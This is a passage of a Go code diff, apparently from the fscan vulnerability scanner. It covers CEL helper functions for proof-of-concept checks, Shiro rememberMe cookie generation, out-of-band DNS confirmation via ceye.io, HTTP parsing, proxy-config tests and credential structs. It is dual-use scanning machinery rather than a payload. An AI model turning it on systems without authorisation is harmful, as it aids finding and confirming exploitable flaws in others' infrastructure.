return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
|
||||
}
|
||||
ok, err := regexp.Match(string(v1), v2)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.Bool(ok)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "md5_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
|
||||
}
|
||||
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomInt_int_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
from, ok := lhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
|
||||
}
|
||||
to, ok := rhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
|
||||
}
|
||||
min, max := int(from), int(to)
|
||||
return types.Int(rand.Intn(max-min) + min)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomLowercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
|
||||
}
|
||||
return types.String(randomLowercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomUppercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
|
||||
}
|
||||
return types.String(randomUppercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomString_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
|
||||
}
|
||||
return types.String(randomString(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString(v))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "substr_string_int_int",
|
||||
Function: func(values ...ref.Val) ref.Val {
|
||||
if len(values) == 3 {
|
||||
str, ok := values[0].(types.String)
|
||||
if !ok {
|
||||
return types.NewErr("invalid string to 'substr'")
|
||||
}
|
||||
start, ok := values[1].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid start to 'substr'")
|
||||
}
|
||||
length, ok := values[2].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid length to 'substr'")
|
||||
}
|
||||
runes := []rune(str)
|
||||
if start < 0 || length < 0 || int(start+length) > len(runes) {
|
||||
return types.NewErr("invalid start or length to 'substr'")
|
||||
}
|
||||
return types.String(runes[start : start+length])
|
||||
} else {
|
||||
return types.NewErr("too many arguments to 'substr'")
|
||||
}
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "reverse_wait_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
reverse, ok := lhs.Value().(*Reverse)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
|
||||
}
|
||||
timeout, ok := rhs.Value().(int64)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
|
||||
}
|
||||
return types.Bool(reverseCheck(reverse, timeout))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "icontains_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "tongda_date",
|
||||
Function: func(value ...ref.Val) ref.Val {
|
||||
return types.String(time.Now().Format("0601"))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "shiro_key",
|
||||
Binary: func(key ref.Val, mode ref.Val) ref.Val {
|
||||
v1, ok := key.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
|
||||
}
|
||||
v2, ok := mode.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
|
||||
}
|
||||
cookie := GetShrioCookie(string(v1), string(v2))
|
||||
if cookie == "" {
|
||||
return types.NewErr("%v", "key b64decode failed")
|
||||
}
|
||||
return types.String(cookie)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "startsWith_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(bytes.HasPrefix(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "startsWith_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "hexdecode",
|
||||
Unary: func(lhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
|
||||
}
|
||||
out, err := hex.DecodeString(string(v1))
|
||||
if err != nil {
|
||||
return types.ValOrErr(lhs, "hexdecode error: %v", err)
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bytes(out)
|
||||
},
|
||||
},
|
||||
),
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// CompileOptions 返回环境编译选项
|
||||
func (c *CustomLib) CompileOptions() []cel.EnvOption {
|
||||
return c.envOptions
|
||||
}
|
||||
|
||||
// ProgramOptions 返回程序运行选项
|
||||
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
|
||||
return c.programOptions
|
||||
}
|
||||
|
||||
// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明
|
||||
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
|
||||
for _, item := range args {
|
||||
key, value := item.Key, item.Value
|
||||
|
||||
// 根据函数前缀确定变量类型
|
||||
var declaration *exprpb.Decl
|
||||
switch {
|
||||
case strings.HasPrefix(value, "randomInt"):
|
||||
// randomInt 函数返回整型
|
||||
declaration = decls.NewIdent(key, decls.Int, nil)
|
||||
case strings.HasPrefix(value, "newReverse"):
|
||||
// newReverse 函数返回 Reverse 对象
|
||||
declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil)
|
||||
default:
|
||||
// 默认声明为字符串类型
|
||||
declaration = decls.NewIdent(key, decls.String, nil)
|
||||
}
|
||||
|
||||
c.envOptions = append(c.envOptions, cel.Declarations(declaration))
|
||||
}
|
||||
}
|
||||
|
||||
// 初始化随机数生成器
|
||||
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
|
||||
|
||||
// randomLowercase 生成指定长度的小写字母随机字符串
|
||||
func randomLowercase(n int) string {
|
||||
const lowercase = "abcdefghijklmnopqrstuvwxyz"
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
// randomUppercase 生成指定长度的大写字母随机字符串
|
||||
func randomUppercase(n int) string {
|
||||
const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
return RandomStr(randSource, uppercase, n)
|
||||
}
|
||||
|
||||
// randomString 生成指定长度的随机字符串(包含大小写字母和数字)
|
||||
func randomString(n int) string {
|
||||
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
return RandomStr(randSource, charset, n)
|
||||
}
|
||||
|
||||
// reverseCheck 检查 DNS 记录是否存在
|
||||
func reverseCheck(r *Reverse, timeout int64) bool {
|
||||
// 检查必要条件
|
||||
if ceyeApi == "" || r.Domain == "" || !Common.DnsLog {
|
||||
return false
|
||||
}
|
||||
|
||||
// 等待指定时间
|
||||
time.Sleep(time.Second * time.Duration(timeout))
|
||||
|
||||
// 提取子域名
|
||||
sub := strings.Split(r.Domain, ".")[0]
|
||||
|
||||
// 构造 API 请求 TargetURL
|
||||
apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",
|
||||
ceyeApi, sub)
|
||||
|
||||
// 创建并发送请求
|
||||
req, _ := http.NewRequest("GET", apiURL, nil)
|
||||
resp, err := DoRequest(req, false)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查响应内容
|
||||
hasData := !bytes.Contains(resp.Body, []byte(`"data": []`))
|
||||
isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`))
|
||||
|
||||
if hasData && isOK {
|
||||
fmt.Println(apiURL)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// RandomStr 生成指定长度的随机字符串
|
||||
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
||||
const (
|
||||
// 用 6 位比特表示一个字母索引
|
||||
letterIdxBits = 6
|
||||
// 生成掩码:000111111
|
||||
letterIdxMask = 1<<letterIdxBits - 1
|
||||
// 63 位能存储的字母索引数量
|
||||
letterIdxMax = 63 / letterIdxBits
|
||||
)
|
||||
|
||||
// 预分配结果数组
|
||||
randBytes := make([]byte, n)
|
||||
|
||||
// 使用位操作生成随机字符串
|
||||
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
|
||||
// 当可用的随机位用完时,重新获取随机数
|
||||
if remain == 0 {
|
||||
cache, remain = randSource.Int63(), letterIdxMax
|
||||
}
|
||||
|
||||
// 获取字符集中的随机索引
|
||||
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
|
||||
randBytes[i] = letterBytes[idx]
|
||||
i--
|
||||
}
|
||||
|
||||
// 右移已使用的位,更新计数器
|
||||
cache >>= letterIdxBits
|
||||
remain--
|
||||
}
|
||||
|
||||
return string(randBytes)
|
||||
}
|
||||
|
||||
// DoRequest 执行 HTTP 请求
|
||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
// 处理请求头
|
||||
if req.Body != nil && req.Body != http.NoBody {
|
||||
// 设置 Content-Length
|
||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
||||
|
||||
// 如果未指定 Content-Type,设置默认值
|
||||
if req.Header.Get("Content-Type") == "" {
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
}
|
||||
|
||||
// 执行请求
|
||||
var (
|
||||
oResp *http.Response
|
||||
err error
|
||||
)
|
||||
|
||||
if redirect {
|
||||
oResp, err = Client.Do(req)
|
||||
} else {
|
||||
oResp, err = ClientNoRedirect.Do(req)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("请求执行失败: %w", err)
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
|
||||
// 解析响应
|
||||
resp, err := ParseResponse(oResp)
|
||||
if err != nil {
|
||||
Common.LogError("响应解析失败: " + err.Error())
|
||||
}
|
||||
|
||||
return resp, err
|
||||
}
|
||||
|
||||
// ParseUrl 解析 TargetURL 并转换为自定义 TargetURL 类型
|
||||
func ParseUrl(u *url.URL) *UrlType {
|
||||
return &UrlType{
|
||||
Scheme: u.Scheme,
|
||||
Domain: u.Hostname(),
|
||||
Host: u.Host,
|
||||
Port: u.Port(),
|
||||
Path: u.EscapedPath(),
|
||||
Query: u.RawQuery,
|
||||
Fragment: u.Fragment,
|
||||
}
|
||||
}
|
||||
|
||||
// ParseRequest 将标准 HTTP 请求转换为自定义请求对象
|
||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
||||
req := &Request{
|
||||
Method: oReq.Method,
|
||||
Url: ParseUrl(oReq.URL),
|
||||
Headers: make(map[string]string),
|
||||
ContentType: oReq.Header.Get("Content-Type"),
|
||||
}
|
||||
|
||||
// 复制请求头
|
||||
for k := range oReq.Header {
|
||||
req.Headers[k] = oReq.Header.Get(k)
|
||||
}
|
||||
|
||||
// 处理请求体
|
||||
if oReq.Body != nil && oReq.Body != http.NoBody {
|
||||
data, err := io.ReadAll(oReq.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取请求体失败: %w", err)
|
||||
}
|
||||
req.Body = data
|
||||
// 重新设置请求体,允许后续重复读取
|
||||
oReq.Body = io.NopCloser(bytes.NewBuffer(data))
|
||||
}
|
||||
|
||||
return req, nil
|
||||
}
|
||||
|
||||
// ParseResponse 将标准 HTTP 响应转换为自定义响应对象
|
||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
||||
resp := Response{
|
||||
Status: int32(oResp.StatusCode),
|
||||
Url: ParseUrl(oResp.Request.URL),
|
||||
Headers: make(map[string]string),
|
||||
ContentType: oResp.Header.Get("Content-Type"),
|
||||
}
|
||||
|
||||
// 复制响应头,合并多值头部为分号分隔的字符串
|
||||
for k := range oResp.Header {
|
||||
resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";")
|
||||
}
|
||||
|
||||
// 读取并解析响应体
|
||||
body, err := getRespBody(oResp)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("处理响应体失败: %w", err)
|
||||
}
|
||||
resp.Body = body
|
||||
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
// 读取原始响应体
|
||||
body, err := io.ReadAll(oResp.Body)
|
||||
if err != nil && err != io.EOF && len(body) == 0 {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 处理 gzip 压缩
|
||||
if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
|
||||
reader, err := gzip.NewReader(bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return body, nil // 如果解压失败,返回原始数据
|
||||
}
|
||||
defer reader.Close()
|
||||
|
||||
decompressed, err := io.ReadAll(reader)
|
||||
if err != nil && err != io.EOF && len(decompressed) == 0 {
|
||||
return nil, err
|
||||
}
|
||||
if len(decompressed) == 0 && len(body) != 0 {
|
||||
return body, nil
|
||||
}
|
||||
return decompressed, nil
|
||||
}
|
||||
|
||||
return body, nil
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
func TestGetLogLevelFromString(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
input string
|
||||
expected logging.LogLevel
|
||||
}{
|
||||
// 标准情况
|
||||
{"all lowercase", "all", logging.LevelAll},
|
||||
{"ALL uppercase", "ALL", logging.LevelAll},
|
||||
{"error lowercase", "error", logging.LevelError},
|
||||
{"ERROR uppercase", "ERROR", logging.LevelError},
|
||||
{"base lowercase", "base", logging.LevelBase},
|
||||
{"BASE uppercase", "BASE", logging.LevelBase},
|
||||
{"info lowercase", "info", logging.LevelInfo},
|
||||
{"INFO uppercase", "INFO", logging.LevelInfo},
|
||||
{"success lowercase", "success", logging.LevelSuccess},
|
||||
{"SUCCESS uppercase", "SUCCESS", logging.LevelSuccess},
|
||||
{"debug lowercase", "debug", logging.LevelDebug},
|
||||
{"DEBUG uppercase", "DEBUG", logging.LevelDebug},
|
||||
|
||||
// 组合情况
|
||||
{"info,success", "info,success", logging.LevelInfoSuccess},
|
||||
{"base,info,success", "base,info,success", logging.LevelBaseInfoSuccess},
|
||||
{"BASE_INFO_SUCCESS", "BASE_INFO_SUCCESS", logging.LevelBaseInfoSuccess},
|
||||
|
||||
// 边界情况
|
||||
{"empty string", "", logging.LevelInfoSuccess},
|
||||
{"unknown value", "unknown", logging.LevelInfoSuccess},
|
||||
{"random string", "foobar", logging.LevelInfoSuccess},
|
||||
{"mixed case", "InFo", logging.LevelInfo}, // ToLower后匹配"info"
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := getLogLevelFromString(tt.input)
|
||||
if result != tt.expected {
|
||||
t.Errorf("getLogLevelFromString(%q) = %v, want %v", tt.input, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfig(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
// 保存原始值并在测试后恢复
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
socks5Proxy string
|
||||
httpProxy string
|
||||
timeout time.Duration
|
||||
expectedType proxy.ProxyType
|
||||
expectedAddr string
|
||||
expectedUser string
|
||||
expectedPass string
|
||||
}{
|
||||
{
|
||||
name: "no proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeNone,
|
||||
expectedAddr: "",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 simple address",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with protocol prefix",
|
||||
socks5Proxy: "socks5://127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth",
|
||||
socks5Proxy: "socks5://user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth no protocol",
|
||||
socks5Proxy: "user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "http proxy simple",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "https proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "https://127.0.0.1:8443",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTPS,
|
||||
expectedAddr: "127.0.0.1:8443",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "http proxy with auth",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://user:[email protected]:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 priority over http",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with username only",
|
||||
socks5Proxy: "socks5://[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// 设置FlagVars
|
||||
fv.Socks5Proxy = tt.socks5Proxy
|
||||
fv.HTTPProxy = tt.httpProxy
|
||||
|
||||
// 调用函数
|
||||
config := createProxyConfig(tt.timeout)
|
||||
|
||||
// 验证结果
|
||||
if config.Type != tt.expectedType {
|
||||
t.Errorf("Type = %v, want %v", config.Type, tt.expectedType)
|
||||
}
|
||||
if config.Address != tt.expectedAddr {
|
||||
t.Errorf("Address = %q, want %q", config.Address, tt.expectedAddr)
|
||||
}
|
||||
if config.Username != tt.expectedUser {
|
||||
t.Errorf("Username = %q, want %q", config.Username, tt.expectedUser)
|
||||
}
|
||||
if config.Password != tt.expectedPass {
|
||||
t.Errorf("Password = %q, want %q", config.Password, tt.expectedPass)
|
||||
}
|
||||
if config.Timeout != tt.timeout {
|
||||
t.Errorf("Timeout = %v, want %v", config.Timeout, tt.timeout)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfigEdgeCases(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
t.Run("invalid socks5 url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "://invalid"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
// 即使 URL 解析失败,也应该回退到原始值或解析后的 Host
|
||||
if config.Type != proxy.ProxyTypeSOCKS5 {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeSOCKS5)
|
||||
}
|
||||
// URL 解析后提取 Host,对于 "://invalid" 会得到 ":"
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("invalid http url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = ""
|
||||
fv.HTTPProxy = "://invalid"
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Type != proxy.ProxyTypeHTTP {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeHTTP)
|
||||
}
|
||||
// URL 解析后提取 Host,对于无效 URL 可能得到非预期值
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("empty password with username", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "socks5://user:@127.0.0.1:1080"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Username != "user" {
|
||||
t.Errorf("Username = %q, want %q", config.Username, "user")
|
||||
}
|
||||
if config.Password != "" {
|
||||
t.Errorf("Password = %q, want empty string", config.Password)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package common
|
||||
|
||||
import "sync"
|
||||
|
||||
// ResultCallback 扫描结果回调函数类型
|
||||
type ResultCallback func(result interface{})
|
||||
|
||||
var (
|
||||
resultCallback ResultCallback
|
||||
callbackMu sync.RWMutex
|
||||
)
|
||||
|
||||
// SetResultCallback 设置结果回调函数(Web模式使用)
|
||||
func SetResultCallback(cb ResultCallback) {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = cb
|
||||
}
|
||||
|
||||
// NotifyResult 通知结果给回调函数
|
||||
func NotifyResult(result interface{}) {
|
||||
callbackMu.RLock()
|
||||
cb := resultCallback
|
||||
callbackMu.RUnlock()
|
||||
|
||||
if cb != nil {
|
||||
cb(result)
|
||||
}
|
||||
}
|
||||
|
||||
// ClearResultCallback 清除结果回调函数
|
||||
func ClearResultCallback() {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = nil
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
package config
|
||||
|
||||
// PocInfo POC详细信息结构 - 保留给webscan使用
|
||||
type PocInfo struct {
|
||||
Target string `json:"target"`
|
||||
PocName string `json:"poc_name"`
|
||||
}
|
||||
|
||||
// CredentialPair 精确的用户名密码对
|
||||
type CredentialPair struct {
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
